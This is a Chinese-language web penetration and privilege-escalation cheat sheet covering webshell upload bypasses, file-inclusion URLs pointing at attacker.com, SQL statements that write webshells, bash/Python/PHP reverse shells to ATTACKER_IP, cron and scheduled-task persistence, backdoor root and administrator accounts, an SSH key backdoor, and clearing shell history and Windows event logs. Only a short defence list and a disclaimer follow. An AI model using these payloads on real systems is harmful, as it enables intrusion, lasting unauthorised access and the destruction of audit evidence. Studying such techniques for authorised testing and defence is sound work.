Web安全-渗透提权思路
字数 1078 2025-08-09 22:16:00
Web安全渗透提权思路详解
1. Webshell获取方法
1.1 直接上传Webshell
-
常见上传点:
- 文件上传功能(头像、附件、图片等)
- 后台管理系统的插件/模板上传
- 第三方组件(如编辑器)的文件上传功能
-
绕过技巧:
- 修改Content-Type为合法类型(如image/jpeg)
- 双扩展名绕过(如shell.php.jpg)
- 大小写变异(如sHell.PhP)
- 空字节截断(如shell.php%00.jpg)
- 特殊字符(如shell.php.)
- 文件头伪造(添加GIF89a等合法文件头)
1.2 利用文件包含漏洞
-
本地文件包含(LFI):
http://target.com/index.php?page=../../uploads/shell.jpg -
远程文件包含(RFI):
http://target.com/index.php?page=http://attacker.com/shell.txt
1.3 数据库写入Webshell
-
MySQL写入:
SELECT '<?php @eval($_POST["cmd"]);?>' INTO OUTFILE '/var/www/html/shell.php' -
MSSQL写入:
EXEC sp_makewebtask 'C:\inetpub\wwwroot\shell.asp', '<?%execute(request("cmd"))%>'
2. 反弹Shell技术
2.1 常用反弹Shell命令
-
Bash反弹:
bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1 -
Python反弹:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' -
PHP反弹:
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'");?>
2.2 文件上传反弹Shell
- 上传包含反弹Shell代码的文件
- 访问该文件触发执行
- 本地监听对应端口:
nc -lvnp PORT
3. 漏洞利用提权
3.1 系统漏洞提权
-
内核漏洞:
- Dirty Cow (CVE-2016-5195)
- Sudo提权漏洞 (CVE-2021-3156)
- Polkit提权漏洞 (CVE-2021-4034)
-
利用方法:
# 查找可用exp find / -name "*exp*" -type f 2>/dev/null # 上传并编译exp gcc exploit.c -o exploit chmod +x exploit ./exploit
3.2 服务器软件漏洞
-
Web服务器漏洞:
- Apache Mod_CGI提权
- Nginx解析漏洞
- IIS 6.0远程代码执行
-
中间件漏洞:
- Tomcat WAR部署漏洞
- WebLogic反序列化漏洞
- JBoss JMXInvokerServlet反序列化
3.3 第三方软件漏洞
-
数据库提权:
- MySQL UDF提权
- MSSQL xp_cmdshell
- PostgreSQL命令执行
-
其他服务:
- Redis未授权访问
- Memcached未授权访问
- Elasticsearch Groovy沙箱绕过
4. 权限维持技术
4.1 后门账户创建
-
Linux系统:
useradd -o -u 0 -g 0 -M -d /root -s /bin/bash backdoor echo "backdoor:password" | chpasswd -
Windows系统:
net user backdoor Password123! /add net localgroup administrators backdoor /add
4.2 定时任务维持
-
Linux crontab:
(crontab -l;echo "*/5 * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'")|crontab - -
Windows计划任务:
schtasks /create /tn "Update" /tr "C:\shell.exe" /sc minute /mo 5 /ru SYSTEM
4.3 SSH密钥后门
mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2E..." >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
5. 痕迹清理
5.1 Linux系统清理
# 清除命令历史
history -c
echo "" > ~/.bash_history
# 修改文件时间戳
touch -r /etc/passwd webshell.php
5.2 Windows系统清理
# 清除事件日志
wevtutil cl system
wevtutil cl application
wevtutil cl security
6. 防御措施
- 及时更新系统和应用补丁
- 限制文件上传类型和目录执行权限
- 禁用危险函数(如exec、system等)
- 配置严格的访问控制
- 定期审计系统账户和权限
- 部署Web应用防火墙(WAF)
- 监控异常网络连接和进程
以上内容为渗透测试技术研究用途,请勿用于非法活动。